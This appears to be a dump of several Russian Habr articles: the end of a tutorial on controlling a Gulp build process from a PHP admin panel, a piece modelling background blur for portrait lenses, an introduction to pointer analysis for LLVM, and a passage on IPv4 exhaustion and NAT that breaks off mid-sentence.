if(!empty($this->envList)){ $command .= 'export PATH=$PATH:'.implode(":", $this->envList).'; '; } if(!empty($this->root)){ $command .= 'cd '.$this->root.'; '; } if(!empty($this->command)){ $command .= 'nohup ' . $this->command . ' > /dev/null 2>&1 & echo $!;'; } if(!empty($this->additional)){ $command .= implode("; ", $this->additional); } exec($command, $op); $this->pid = intval($op[0]); } public function setPid($pid) { $this->pid = $pid; } public function setRoot($root) { $this->root = $root; } public function setEnv($envList) { $this->envList = $envList; } public function setCommand($commandLine) { $this->command = $commandLine; } public function setAdditional($additionalCommands) { $this->additional = $additionalCommands; } public function getPid() { return $this->pid; } public function status() { if(empty($this->pid)) return false; $command = 'ps -p ' . $this->pid; exec($command, $op); return isset($op[1]); } public function start() { $this->runCom(); } public function stop() { if(empty($this->pid)) return true; $command = 'kill ' . $this->pid; exec($command); return !$this->status(); } } И класс, который будет запускать именно Gulp и контролировать его состояние, GulpProcess : <?php class GulpProcess { // Путь к файлу, который будет хранить PID твоего Gulp процесса private $tempPidFile = TEMP_DIR . "/gulpTaskPid.tmp"; /** @var ExecProcess */ private $execProcess; public function __construct() { $this->execProcess = new ExecProcess(); // Начальная директория для запускаемого нами в итоге скрипта (gulp). У меня так сложилось, что она находится выше на один уровень скрипта index.php. Простыми словами, директория, в которой лежит gulpfile.js $this->execProcess->setRoot("../"); // Те самые директории (абсолютные пути) к Node и node_modules для Path $this->execProcess->setEnv([ NODE_MODULES_BIN, NODE_BIN, ]); /* Тестировал. Может пригодиться) $this->execProcess->setAdditional([ "echo \$PATH", "pwd", "whoami", "ps -ela", "id", ]); */ $this->execProcess->setCommand('gulp'); } public function start() { if(!$this->isActive()){ $this->execProcess->start(); $this->setPid(); return $this->checkStatus(); } return true; } public function stop() { if($this->isActive()){ $this->execProcess->stop(); $this->clearPid(); } return true; } public function isActive() { return $this->checkStatus(); } private function getPid() { if(is_file($this->tempPidFile)){ $pid = intval(file_get_contents($this->tempPidFile)); $this->execProcess->setPid($pid); return $pid; } return null; } private function setPid() { file_put_contents($this->tempPidFile, $this->execProcess->getPid()); } private function clearPid() { if(is_file($this->tempPidFile)){ unlink($this->tempPidFile); } $this->execProcess->setPid(null); } private function checkStatus() { $pid = $this->getPid(); if(!empty($pid)){ if($this->execProcess->status()){ return true; } $this->clearPid(); return false; } return false; } } Вроде всё лаконично и понятно. Осталось привязать это всё к админпанели. 4. Настройка экшенов админпанели Какую систему ты используешь и как работаешь с экшенами известно лишь тебе одному. Я приведу пример своих экшенов, но уже всё должно быть очевидно: <?php class Admin{ //... public function startGulpProcess() { $gulpProcess = new GulpProcess(); return $gulpProcess->start(); } public function stopGulpProcess() { $gulpProcess = new GulpProcess(); return $gulpProcess->stop(); } public function getGulpStatus() { $gulpProcess = new GulpProcess(); $this->jsonData["is_active"] = $gulpProcess->isActive(); return true; } } Как было сказано в пункте 3, можно также получить текущий output от процесса Gulp, но для этого сначала надо модифицировать класс ExecProcess , чтобы писал он весь output не в /dev/null , а в конкретный файл. Итог Теперь ты имеешь в руках довольно простой и приятный инструмент для управления процессом Gulp на сервере (даже на обычном хостинге) и не нужно заниматься компиляцией ресурсов на локальной машине, работая через Deployment Tools. Все эти наработки можно красиво обернуть в Composer плагин и подшлифовать для конкретной системы (например, Yii2). Этим я обязательно займусь, когда переведу CMS на неё. В купе с возможностью править файлы ресурсов на сервере через админпанель ты получаешь мощный инструмент, не требующий от тебя настроенной рабочей машины. Можно срочно поправить мелкие баги по требованию заказчика из любого места, с любого компьютера и т.д. Возможные проблемы и попытки решения Отсутствие NodeJS на хостинге Всё просто, качаем NodeJS в виде архива и заливаем на хостинг. Далее обязательно прописываем его в Path (Это поможет корректно работать NPM и Gulp при запуске через SSH). Система молча запускается, но процесс неактивен. После запуска через админпанель может так получиться, что процесс запустится и сразу же выключится. Это связано с какими-то проблемами запуска Gulp, которые, к сожалению, ты не увидишь. Всё ведь посылается в /dev/null . Надо настроить класс ExecProcess так, чтобы output сохранялся в файл, и уже в нём искать проблему. Система говорит нет прав, при попытке запуска через админпанель Это ты сможешь узнать только из файла с output'ом процесса Gulp . Это скорее всего означает, что на хостинге включено изолирование сайтов и твой текущий сайт не имеет доступа к папке, где установлен Node. Это решается средствами управления твоего хостинга. Нужно сделать папку с Node общедоступной. Какие-то ошибки при запуске Gulp Ну тут ты уже накосячил с gulpfile.js , в теории, пример из статьи должен работать (я его, конечно, немного модифицировал, и он отличается от настоящего, рабочего в проекте, но правки были незначительные), попробуй оставить в нём минимум тасков и логики. Что-то не работает BrowserSync Отличная это штука, скажу я тебе, но мне так и не удалось её запустить. Всё дело в том, что она работает на определённых портах, используя Node, но на многих хостингах доступ к портам заблокирован. Если хочешь пользоваться BrowserSync'ом, придётся раскошелиться на VDS. Я переживаю, что постоянно будут запускаться новые фоновые процессы Gulp Вообще это контролирует класс GulpProcess , он настраивает класс ExecProcess таким образом, что контроль текущего процесса идёт по его PID. Как только процесс был создан, система получает его PID и дальше всегда работает с ним, при попытке создать новый процесс, при рабочем старом, система этого не позволит. На крайний случай ты всегда можешь подключиться по SSH и проверить список активных запущенных процессов. Ищи тот, что называется gulp, это и будет твой фоновый процесс.
https://habrahabr.ru/post/317488/
habrahabr
Портретная фотография: боке, фокусное расстояние, диафрагма и дистанция
['потретник', 'геометрия', 'геометрическая оптика', 'фотография', 'математическое моделирование', 'объектив']
Приветствую вас, фотогики! Портретная фотосъёмка, по-хорошему, является искусством. А искусство — штука субъективная. Но для фотосъёмки мы пользуемся техническими устройствами, а значит...
Приветствую вас, фотогики! Портретная фотосъёмка, по-хорошему, является искусством. А искусство — штука субъективная. Но для фотосъёмки мы пользуемся техническими устройствами, а значит неизбежно «скованы» законами, которым эта техника подчиняется. И о них хотелось бы поговорить, т.к. мифов тут полным полно… Кто хочет сразу почитать что-то новое про размытие, могут сразу пролистывать сильно ниже Для начала, хочется вспомнить, что мы зачастую ограничены ещё и некоторыми «жанровыми условностями». Есть определённые «классические» компоновки кадра. Например, портрет «по грудь», где в кадре умещается область пространства примерно 75 см по диагонали. Или портрет «голова и плечи», где по диагонали получается примерно 50 см. Эти два варианта — самые распространённые «шаблоны» фотоснимков. В дальнейшем речь будет идти именно о кадрах с 50 и 75 см по диагонали. Теперь немного геометрии… Сильные перспективные искажения лица считаются эстетически непривлекательными, «уродующими». Из-за этого снимать портреты с расстояния менее 1 м считается неправильным. Конечно, что считать уродством, а что «видением художника» — вопрос спорный, но всё равно многие специальные портретные объективы просто нельзя сфокусировать существенно ближе этой дистанции. Профессиональный портретный объектив Canon EF 85mm f/1.2L USM, например, фокусируется не ближе 95 см. Но и полное отсутствие перспективных искажений тоже считается… Искажением! Мол «лицо выглядит слишком плоским», ведь невооружённым глазом с большого расстояния лицо уже плохо видно, так что мы не привыкли видеть крупное лицо совсем «без перспективы». Из-за этого снимать портреты с дистанции более 3 м тоже не рекомендуется. Оптимальным считается снимать людей с расстояния примерно 1,5-2,0 м. Какое фокусное расстояние должно быть у объектива, чтобы с расстояния 1,5-2,0 м захватить 75 см по диагонали? Если у нас классический плёночный кадр 36x24 мм или «full frame» матрица, то 80-100 мм. Какое фокусное расстояние нужно, чтобы с расстояния 1,5-2,0 м захватить 50 см по диагонали? 110-145 мм. А какие у нас классические фокусные расстояния у портретных объективов? 85 и 135 мм… Думаю, теперь должно быть вполне очевидно, почему выбраны были именно эти числа. Просто эти фокусные расстояния обеспечивают съёмку «шаблонных» по композиции кадров с оптимальной дистанции. Часто люди неправильно понимают смысл фразы, что «эти объективы обеспечивают минимальные искажения лица», считая, что само фокусное расстояние влияет на искажения. Но нет, это ошибка, искажения определяются расстоянием. Конечно, объективы и сами вносят искажения, дисторсию. Но мнение, что она минимальна именно у 85 и 135 мм объективов, абсолютно не соответствует действительности. Так, например, у широкоугольного объектива Canon EF 35mm f/1.4L II USM бочкообразная (она делает лицо «пухлее») дисторсия 0,1%. Потому то он и не подходит для портретов?.. Нет, упомянутый выше портретный 85-мм Canon имеет тоже бочкообразную, да ещё и 0,2%! Так что выбирая именно фокусное расстояние объектива, нужно смотреть, какой угол обзора у него на матрице вашей камеры. На Nikon 1, с его мизерной матрицей, объектив 35 мм будет отличным «потретником», который, если его грамотно спроектировали, не будет создавать вам никаких искажений лица. Все разговоры «кроп-фактор не имеет значения, объектив как был, так и есть широкоугольный» — это просто индикатор непонимания людьми оптики и геометрии. Вот до сюда надо листать Теперь перейдём к другому интересному аспекту съёмки портретов — к боке… Есть много холиваров на тему «Вау! Какое шикарное размытие фона! Это великолепно!» VS «Только глупые новички снимают на открытой диафрагме, профессионал выбирает красивый фон». Не будем в них лезть, просто примем как данность, что есть существенная прослойка людей, желающих видеть на портретах «размытый в хлам» фон, и постараемся помочь им выбрать подходящий объектив. Общеизвестно, что чем меньше число диафрагмы — тем сильнее будет размыт фон. f/1.4 лучше, чем f/2.0. А f/1.2 — вообще прекрасно. Также известно, что чем больше фокусное расстояние (но не забываем про сказанное в первой части статьи!) — тем сильнее размывается фон. Но что размоет фон сильнее, 50 мм f/1.4 или 85 мм f/2.0?! А если они ещё и на фотоаппаратах с разным размером матрицы?.. Собственно из этого вопроса вся статья и вылезла. Взять штук десять разных объективов и «прогнать» их через несколько камер с разными матрицами, снимая разные портреты в разных условиях — эксперимент интересный, но долгий и дорогостоящий. Так что я решил заняться математическим моделированием… «Сферичность» «коня в вакууме» в моём случае заключалась в том, что я считал объектив одной единственной линзой, которая для фокусировки перемещается вперёд-назад. Других вариантов у меня просто не было, ведь я хотел выяснить, как на размытие фона влияет фокусное расстояние и диафрагма вообще, а не конкретного объектива. А одно и то же фокусное с диафрагмой могут быть у объективов совершенно разных конструкций… Так что размытие фона (и даже расстояние, на котором он даст нужную диагональ кадра!) у конкретного реального объектива может быть несколько иным. Так, например, на фотографии выше отлично видно, что точечный источник света не в фокусе может на фотографии изображаться даже вовсе не кругом, а овалом… Но, тем не менее, в большинстве случаев отличия моего расчёта от результатов реального объектива будут незначительными. Что же я собственно сделал? Исписав лист A4 с двух сторон преобразованиями основной формулы тонкой линзы, я получил расчёт того, на какой дистанции (от плоскости матрицы/плёнки, именно от неё отсчитываются расстояния на шкале фокусировки объективов) нужно разместить объект, чтобы получить нужную диагональ кадра при заданном фокусном расстоянии и размерах матрицы, а также в круг какого размера размоется точечный источник света, расположенный на заданном расстоянии за объектом съёмки (я считал расстояние именно от объекта съёмки, т.к. обычно сменив объектив фотограф сам отходит/подходит ближе, а не просит подойти/отойти портретируемого). Этот размер я выразил в процентах диагонали кадра, чтобы можно было напрямую сравнивать его для камер с разными матрицами. Далее был создан этот Exel-файл . Оранжевые ячейки — это то, что мы задаём (диагональ кадра, размеры матрицы, расстояние от объекта до фона), жёлтые — это главные результаты расчётов (дистанция, чтобы оценить, подходит ли это фокусное для такого портрета, и размытие фона), серые — промежуточные результаты расчётов (например, «расфокусировка фона» — это расстояние от плоскости, в которой сфокусировался фон, до плоскости матрицы). Я искренне полагал, что результатами расчёта станут простые выводы типа «50 мм f/1.4 размывает фон хуже, чем 85 мм f/2.0». Но нет! Если снимать портрет «по грудь» (75 см), установив оба объектива на камеру с матрицей 23,5x15,6 мм (наиболее распространённый формат APS-C), то 50 мм f/1.4 даст размытие 2,76%, а 85 мм f/2.0 — 2,56%, т.е. 50 мм «победил». Но в тоже самое время 50 мм f/1.4 даст размытие 4,30%, а 85 мм f/2.0 — 4,91%, т.е. «впереди» 85 мм! Как так?.. Очень просто: первая пара чисел дана для случая, когда фон всего в паре метров за спиной человека (что обычно бывает в помещении), а вторая — когда до фона уже 20 м (что регулярно бывает на природе). Т.е. выбирая, какой из доступных объектив взять, чтобы размыть фон как можно сильнее, вам нужно руководствоваться не только их фокусными расстояниями и размерами диафрагмы, но и дистанцией от портретируемого до фона . А как именно руководствоваться — качайте файл и «играйтесь». Приведу тут только несколько сильно «урезанных» таблиц. Формат: фокусное расстояние (дистанция фокусировки): число диафрагмы (1.2, 1.4 и т.д.) — размытие (проценты) Полный кадр (36x24 мм), 50 см диагональ, до фона 2 м   85 мм (1,16 м): 1.2 — 8,75; 1.4 — 7,50; 1.8 — 5,83 135 мм (1,84 м): 2.0 — 6,99; 2.8 — 4,99; 3.5 — 3,99 Полный кадр (36x24 мм), 50 см диагональ, до фона 20 м   85 мм (1,16 м): 1.2 — 12,43; 1.4 — 10,65; 1.8 — 8,29 135 мм (1,84 м): 2.0 — 11,53; 2.8 — 8,23; 3.5 — 6,59 Полный кадр (36x24 мм), 75 см диагональ, до фона 2 м   85 мм (1,65 м): 1.2 — 5,14; 1.4 — 4,41; 1.8 — 3,43 135 мм (2,62 м): 2.0 — 3,92; 2.8 — 2,80; 3.5 — 2,24 Полный кадр (36x24 мм), 75 см диагональ, до фона 20 м   85 мм (1,65 м): 1.2 — 8,32; 1.4 — 7,13; 1.8 — 5,54 135 мм (2,62 м): 2.0 — 7,62; 2.8 — 5,44; 3.5 — 4,35 Матрица APS-C (22,3x14,9 мм, кроп 1,61), 50 см диагональ, до фона 2 м 50 мм (1,03 м): 1.2 — 5,40; 1.4 — 4,63; 1.8 — 3,60 85 мм (1,76 м): 1.2 — 7,51; 1.4 — 6,43; 1.8 — 5,00 Матрица APS-C (22,3x14,9 мм, кроп 1,61), 50 см диагональ, до фона 20 м 50 мм (1,03 м): 1.2 — 7,56; 1.4 — 6,48; 1.8 — 5,04 85 мм (1,76 м): 1.2 — 12,46; 1.4 — 10,68; 1.8 — 8,31 Матрица APS-C (22,3x14,9 мм, кроп 1,61), 75 см диагональ, до фона 2 м 50 мм (1,50 м): 1.2 — 3,16; 1.4 — 2,71; 1.8 — 2,10 85 мм (2,55 м): 1.2 — 4,17; 1.4 — 3,57; 1.8 — 2,78 Матрица APS-C (22,3x14,9 мм, кроп 1,61), 75 см диагональ, до фона 20 м 50 мм (1,50 м): 1.2 — 5,01; 1.4 — 4,30; 1.8 — 3,24 85 мм (2,55 м): 1.2 — 8,15; 1.4 — 6,99; 1.8 — 5,43 Надеюсь, хоть кому-нибудь это немного поможет с выбором объектива для портретной съёмки :)
https://geektimes.ru/post/283634/
habrahabr
Пишем настоящий Pointer Analysis для LLVM. Часть 1: Введение или первое свидание с миром анализа программ
['incode', 'dataflow analysis', 'pointer analysis', 'компиляторы', 'оптимизация', 'статический анализ кода', 'уязвимости', 'sast']
Привет, Хабр! Эта статья станет вступительной в моем небольшом цикле заметок, посвященном такой технике анализа программ, как pointer analysis. Алгоритмы pointer analysis позволяют с заданной...
Привет, Хабр! Эта статья станет вступительной в моем небольшом цикле заметок, посвященном такой технике анализа программ, как pointer analysis. Алгоритмы pointer analysis позволяют с заданной точностью определить на какие участки памяти переменная или некоторое выражение может указывать. Без знания информации об указателях анализ программ, активно использующих указатели (то есть программ на любом современном языке программирования — C, C++, C#, Java, Python и других), практически невозможен. Поэтому в любом мало-мальски оптимизируещем компиляторе или серьезном статическом анализаторе кода применяются техники pointer analysis для достижения точных результатов. В данном цикле статей мы сосредоточимся на написании эффективного межпроцедурного алгоритма pointer analysis, рассмотрим основные современные подходы к задаче, ну и, конечно же, напишем свой очень серьезный алгоритм pointer analysis для замечательного языка внутреннего представления программ LLVM. Всех интересующихся прошу под кат, будем анализировать программы и многое другое! Алгоритмы оптимизации и анализа программ Представьте на секунду, что вы пишете компилятор для вашего любимого языка программирования. Позади написание лексических и синтаксических анализаторов, уже построено синтаксическое дерево модуля трансляции и исходная программа записана в терминах некоторого внутреннего представления (например, в виде байткода JVM или LLVM). Что дальше? Можно, например, попробовать интерпретировать полученное представление на некоторой виртуальной машине или транслировать это представление дальше, уже в машинный код. А можно сначала попробовать оптимизировать это представление, а потом уже заняться скучной трансляцией, верно? К тому же, программа будет работать быстрее! Какие оптимизации мы можем применить? Рассмотрим, например, такой фрагмент кода. k = 2; if (complexComputationsOMG()) { a = k + 2; } else { a = k * 2; } if (1 < a) { callUrEx(); } k = complexComputationsAgain(); print(a); exit(); Обратите внимание на то, что переменная a принимает значение, равное 4 , вне зависимости от того, какое значение вернула функция complexComputationsOMG , а это значит, что вызов этой функции из представления программы можно смело убрать (исходя из предположения, что все функции у нас чистые, в частности, не обладают побочными эффектами). Более того, раз в точке программы, в которой осуществляется сравнение переменной a с единицей, переменная a всегда принимает значение 4 , то вызов callUrEx можно осуществлять безусловно, то есть избавиться от ненужного ветвления. Кроме того, значение переменной k , присваемое в строчке k = complexComputationsAgain() нигде не используется, поэтому эту функцию можно и не вызывать! Вот что у нас получается после всех преобразований. callUrEx(); print(4); exit(); По-моему, неплохо! Все что нам осталось — научить наш оптимизатор осуществлять такие преобразования кода автоматически. Тут нам на помощь и приходит все многообразие алгоритмов dataflow analysis, и собственнолично очень крутой дядька Gary Kildall , который в своей монументальной рукописи «A unified approach to global program optimization» представил универсальный фреймворк для анализа программ, точнее так называемых dataflow problems. Описательно, алгоритм итеративного решения dataflow problems, звучит очень просто. Все что нам нужно — определить набор свойств переменных, которые мы хотим отслеживать в процессе анализа (например, возможные значения переменных), функции интерпретации таких наборов для каждого базового блока и правила, по которым мы эти свойства будем распространять между базовыми блоками (например, пересечение множеств). В процессе итеративного алгоритма мы вычисляем значения этих свойств переменных в различных точках графа потока управления ( Control Flow Graph, CFG ), обычно в начале и конце каждого базового блока. Итеративно распространяя указанные свойства, мы должны в конечном итоге достигнуть неподвижной точки (fixpoint), в которой алгоритм заканчивает свою работу. Разумеется, лучше один раз увидеть, чем сто раз услышать, поэтому подкрепим слова примером. Рассмотрим следующий фрагмент кода и попробуем отследить возможные значения переменных в различных точках программы. b = 3; y = 5; while (...) { y = b * 2; } if (b < 4) { println("Here we go!"); } Во врезке ниже решается классическая задача анализа программ, а именно — распространение констант (constant propagation) для рассматриваемого фрагмента кода. Итеративный алгоритм constant propagation В начале все множества возможных значений переменных пусты. Интерпретируя входной блок B1 , получаем, что на выходе этого блока b=3 и y=5 . Функция f1 (аналогичные функции определяются для остальных блоков) — функция интерпретации блока. Блок входа в цикл в while B2 имеет двух предков — входной блок B1 и блок B3 . Поскольку блок B3 пока не содержит возможных значений переменных, на текущем этапе алгоритма считаем, что на входе и выходе блока B2 b=3 и y=5 . Функция U — правило распространения множеств свойств переменных (обычно — точная нижняя грань частично упорядоченного множества, а точнее — полной решетки ). На выходе у базового блока B3 — b=3 и y=6 . Поскольку информация о возможных значениях переменных была изменена (по сравнению с начальным состоянием, то есть как бы 0-й итерацией алгоритма), запускаем следующую итерацию алгоритма. Новая итерация повторяет предыдущую за исключением шага вычисления входного набора блока B2 . Как видим, на этот раз мы вынуждены как бы «пересечь» выходные наборы блоков B1 и B3 . У этих наборов есть общая часть b=3 которую мы оставим и разнящиеся части y=5 и y=6 , которые мы вынуждены отбросить. Поскольку продолжая вычисления далее мы не получаем никаких новых значений, работу алгоритма можно считать завершенной. Это и означает, что мы достигли неподвижной точки. В своей работе Gary Kildall показал, что такой итеративный алгоритм всегда будет заканчивать свою работу и, более того, давать самый полный из возможных результатов, в случае если соблюдены следующие условия: домен отслеживаемых свойств переменных представляет собой полную решетку; функции интерпретации блока обладает свойством дистрибутивности на решетке; для «встречи» базовых блоков-предшедственников используется оператор точной нижней грани (то есть функция meet частично упорядоченного множества). Анекдот из мира большой науки Самое забавное, что пример, который использовал Килдалл в своей работе (constant propagation) не удовлетворяет требованиям, которые он же и предъявляет к dataflow problem — функции интерпретации для constant propagation не обладают свойством дистрибутивности на решетке, а являются всего лишь монотонными. Таким образом, для оптимизации программ мы можем применять всю мощь алгоритмов dataflow analysis, используя, например, итеративный алгоритм. Возвращаясь к нашему первому примеру, мы использовали constant propagation и liveness analysis (live variable analysis) для осуществления оптимизации dead code elimination. Более того, алгоритмы dataflow analysis могут использоваться при осуществлении статического анализа кода в контексте информационной безопасности. Например, в процессе поиска уязвимостей класса SQL-injection, мы можем отмечать специальным флагом все переменные, на которые каким-либо образом может повлиять злоумышленник (например, параметры HTTP-запроса и т.п.). Если окажется, что переменная, помеченная таким флагом, участвует в формировании SQL-запроса без надлежащей обработки — мы, скорее всего, нашли серьезную дыру в безопасности приложения! Останется лишь показать сообщение о возможной уязвимости и красиво уйти в горизонт предоставить пользователю рекомендации по диагностике и устранению такой уязвимости. Умножаем скорбь Иван кивает на Петра, а Петр на Ивана Подводя итоги предыдущего пункта, алгоритмы dataflow analysis — хлеб насущный (и масло!) любого компиляторщика. Так причем здесь, собственно, pointer analysis, и зачем он, собственно, нужен? Спешу испортить вам настроение следующим примером. x = 1; *p = 3; if (x < 3) { killTheCat(); } Вполне очевидно, что не зная, куда указывает переменная p , мы не можем с уверенностью заявить, чему будет равняться значение выражения x < 3 в условном операторе if . Ответ на этот вопрос мы можем дать лишь выяснив контекст, в котором данный фрагмент кода появляется. Например, p может быть глобальной переменной из другого модуля (которая в языках программирования семейства C может указывать на что угодно и когда угодно) или локальной переменной, указывающей куда-то в кучу. Даже зная контекст, нам все еще необходимо знать множество локаций (абстрактных ячеек памяти), на которые эта переменная может указывать. Если, например, перед указанным фрагментом кода переменная p инициализировалась как p = new int , тогда мы должны удалить из оптимизированной программы условный переход и вызвать метод killTheCat безусловно. Раз так, ни одной оптимизации мы применить к этому коду не сможем, пока не найдем какой-либо способ раз и навсегда выяснить, куда могут указывать переменные в анализируемой программе! Думаю, сейчас уже стало очевидным, что без применения алгоритмов pointer analysis нам не обойтись (и по какой причине вообще возникла необходимость решать эту сложную, а точнее, алгоритмически неразрешимую задачу). Pointer analysis — это метод статического анализа кода, который определяет информацию о значениях указателей или выражений, имеющих тип указатель. В зависимости от решаемых задач, pointer analysis может определять информацию для каждой точки программы или для программы целиком (flow-sensitivity) или в зависимости от контекста вызова функции (context-sensitivity). Более подробно о типах pointer analysis я расскажу в одной из следующих статей цикла. Результат анализа обычно представляется в виде отображения из множества указателей во множество наборов локаций, на которые эти указатели могут ссылаться. То есть, проще говоря, каждому указателю p сопоставляется множество объектов, на которые он может указывать. Например, во фрагменте кода, приведенном ниже, результатом анализа будет отображение p -> {a, b}, q -> {p} . int a, b, c, *p, **q; p = &a; q = &p; *q = &b; Важно отметить, что отображение, вычисляемое pointer analysis, должно отвечать критерию безопасности, то есть быть максимально консервативным. В противном случае, мы можем просто испортить семантику исходной программы своими оптимизациями. Например, безопасным приближением результата pointer analysis для фрагмента программы выше, может быть p -> {a, b, c}, q -> {unknown} . Значение unknown используется для того, чтобы показать, что указатель может ссылаться на все доступные объекты программы. Например, в рассматриваемом ниже фрагменте кода, разыменование переменной p потенциально может изменить значение любого объекта программы! extern int *offensiveFoo(); p = offensiveFoo(); *p = 77; Мы ничего не знаем про функцию offensiveFoo , поскольку она была импортирована из другого модуля трансляции, а потому вынуждены предположить, что p может указывать совершенно на что угодно! В дальнейшем будем считать, что все рассматриваемые функции и глобальные переменные принадлежат анализируемому модулю трансляции, за исключением случаев, когда обратное явно обговорено словами. Poor Man's Pointer Analysis Впервые столкнувшись с проблемой алиасинга указателей, я, не долго думая, решил попробовать решить задачу используя уже известный итеративный алгоритм на решетке (тогда я и понятия не имел, что решаю задачу ту же задачу, что и решают алгоритмы pointer analysis). Действительно, что нам мешает отслеживать объекты, на которые могут ссылаться указатели как набор свойств этих указателей? Давайте попробуем отследить работу алгоритма на простом примере. Правила распространения множеств объектов пусть соответствуют «естественной» семантике программы (например, если p = &a , то p -> {a} ), а распространять эти наборы между базовыми блоками мы будем простым объединением множеств (например, если q -> {a, b} и q -> {c} подаются на вход некоторому базовому блоку, то входным набором для такого блока будет q -> {a, b, c} ). Рассмотрим работу алгоритма на простом примере. x = &a; a = &z; if (...) { x = &b; } else { c = &x; } Дождемся пока итеративный алгоритм закончит работу и посмотрим на результаты. Работает! Не смотря на простоту алгоритма, представленный подход имеет право на жизнь. Скажу больше, именно так (разумеется, со значительными улучшениями) решали задачу алиасинга указателей до появления работы Андерсена «Program Analysis and Specialization for the C Programming Language». Кстати, именно этой работе и будет посвящена следующая статья цикла! Основные недостатки описанного подхода — плохая масштабируемость и слишком консервативные результаты, поскольку при анализе реальных программ нужно обязательно учитывать вызовы других функций (то есть анализ должен быть межпроцедурным) и, зачастую, контекст вызова функции. Существенный же плюс такого подхода в том, что информация об указателях доступна для каждой точки программы (то есть алгоритм flow-sensitive), тогда как алгоритмы Андерсена и его последователей вычисляют результат для программы целиком (flow-insensitive). Вместо заключения На этом завершается первый кусочек моего цикла заметок об алгоритмах pointer analysis. В следующий раз напишем простой и эффективный межпроцедурный pointer analysis алгоритм для LLVM! Всем большое спасибо за уделенное статье время!
https://habrahabr.ru/company/solarsecurity/blog/317002/
habrahabr
«Эхо прошлых лет»: Как решается вопрос недостатка адресов IPv4
['vas experts', 'dpi', 'deep packet inspection', 'ipv4']
IPv4 позволяет использовать около 4,3 млрд адресов. Однако «мощности» инфраструктуры интернета, которую заложили в 70-х годах XX века, сегодня становится недостаточно, поскольку в то время никто не...
IPv4 позволяет использовать около 4,3 млрд адресов. Однако «мощности» инфраструктуры интернета, которую заложили в 70-х годах XX века, сегодня становится недостаточно, поскольку в то время никто не предполагал такого быстрого роста потребителей. За последние 20 лет число интернет-пользователей выросло практически в 60 раз, во многом благодаря густонаселенным странам — Индии и Китаю. Также этому поспособствовало распространение мобильных устройств. / Flickr / Michael Pardo / CC Управлением адресным пространством и раздачей IP-адресов занимается Администрация адресного пространства интернета IANA и региональные интернет-регистраторы (ARIN, APNIC, AfriNIC, LACNIC, RIPE NCC). В начале 2011 года IANA выделила последние пять из оставшихся блоков адресного пространства региональным операторам. Тогда специалисты организации предсказали, что адреса будут исчерпаны в течение последующих пяти лет. И вот эти пять лет подошли к концу и о приостановке выдачи адресов заявила LACNIC. Поэтому мы решили обратиться к этой теме вновь и посмотреть, куда человечество продвинулось в решении сложившейся ситуации. Что делать В качестве одного из возможных решений сейчас предлагается усилить контроль за адресами. Изначально диапазоны выдавались огромными блоками, но многие организации, получившие их в свое распоряжение, сегодня перестали существовать, а реестр в то время не велся. Поэтому необходимо вернуть все адреса, разбить их на более мелкие кластеры и раздать повторно. Другое решение — внедрение системы IPv6, которая представляет собой последнюю версию IP с практически неограниченным количеством адресов (2 в степени 128). Однако здесь возникает определенная сложность, поскольку протокол IPv6 несовместим с IPv4, что замедляет и усложняет переход. Есть еще третий вариант. Обратиться к трансляции сетевых адресов (Network Address Translation, NAT), преобразующей множество локальных адресов организации в единый внешний. Механизм работы NAT описывается в RFC 1631 , RFC 3022 . Выделяют несколько видов NAT. Первый — статический, который преобразует внутренние адреса во внешние «в масштабе» один к одному. Второй — динамический, транслирующий один внутренний адрес на внешний из предоставленного диапазона. Трансляция осуществляется так же, как и в статическом NAT, только внешний адрес выбирается случайным образом из тех, которые были свободны в момент преобразования. И, наконец, третий вариант — это так называемый перегруженный NAT (NAPT, NAT Overload, PAT) — является формой динамического NAT, в которой несколько внутренних адресов отображаются на один внешний. Именно этот вариант способен помочь при нехватке публичных IP-адресов. Максимальное число возможных портов составляет 65 тыс., поэтому, в теории, такое же количество локальных адресов может быть отображено на один внешний адрес. Однако NAT обладает рядом недостатков. Поскольку все пользовательские сессии выходят в интернет с одного белого адреса, это будет вызывать проблемы с сайтами, разрешающими доступ к сервису по IP — возможность поработать с ним получит только один пользователь. Более того, если множество человек обратится к сайту с одного адреса, ресурс может решить, что на него осуществляется DDoS-атака, и закрыть доступ всем клиентам. Что ждет NAT в будущем А в будущем нас ждет следующий уровень развития NAT — Carrier Grade NAT (CGN/CGNAT). Решение рассчитано на интернет-провайдеров и операторов связи, но также подходит для замены NAT-устройств в корпоративных сетях. CGN позволяет назначать локальные адреса абонентам, централизовано преобразуя их во внешние. У решения CG-NAT есть несколько достоинств . Оно обеспечивает прозрачный способ использования NAT, благодаря функциям Endpoint Independent Mapping (EIM), позволяющей для каждого сочетания частного IP-адреса и порта клиента гарантировать то же сочетание публичных IP-адресов, Endpoint Independent Filtering (EIF), отбрасывающей пакеты, не предназначенные для внутренних адресов, и Hairpinning, обеспечивающей доступ одной машины к другой внутри сети по внешнему адресу. Еще одним важным преимуществом CGN является ограничение количества портов TCP и UDP, доступных абоненту. Это дает возможность эффективного распределения портов между пользователями, а также защищает от DDoS-атак с ботнетов. Переход на IPv6 Многие операторы начинают постепенно переходить на IPv6, поскольку рано или поздно всем придётся его использовать. Смягчить переход от IPv4 к IPv6 способна технология Carrier-Grade NAT. Для этого применяются следующие решения : NAT64, DS-Lite, 6RD и NAT444. Технология NAT64 позволяет пользователям услуг на IPv6 предоставлять доступ к ресурсам с адресами IPv4, транслируя адреса нового протокола в адреса старого. Технология DS-Lite DS Lite использует IPv6-соединение между провайдером и клиентом. Пакет IPv4 от клиента, направляющийся во внешнюю сеть, инкапсулируется в IPv6 для передачи с помощью сети провайдера, а затем преобразуется обратно в IPv4 при переходе в публичный интернет. В этом случае оператор может развернуть у себя сеть IPv6, но продолжать предоставлять услуги подключения для клиентов по IPv4. Технология 6RD реализует предоставление услуги IPv6 клиентам через существующую сеть IPv4. IPv6-адреса выделяются из подсети, которая закреплена за провайдером интернет-услуг. 6RD-узел, желающий отправить IPv6-пакет по сети, инкапсулирует его в пакет IPv4 и проводит проверку того, находится ли получатель в том же сегменте. Если это так, то IP-адрес получателя формируется путем дополнения префикса IPv4 битами из IPv6 адресата, не входящими в 6RD-префикс. Если же получатель находится в другом сегменте, то пакет оправляется на шлюз провайдера, который извлекает пакет и затем уже передает его дальше по IPv6-сетям. Механизм описан в RFC 5969 . Технология NAT444 позволяет транслировать локальный адрес клиента в локальный адрес провайдера, который затем переводится в публичный адрес интернета. При этом не придётся изменять клиентское оборудование или сетевую структуру. Для реализации любой из этих технологий необходимо либо использовать специальное оборудование для преобразования адресов или туннелирования (A10 Thunder, F5 BIG-IP Carrier-Grade NAT), либо модернизировать имеющиеся сетевые устройства дополнительными сервис-модулями. Реализовать все это 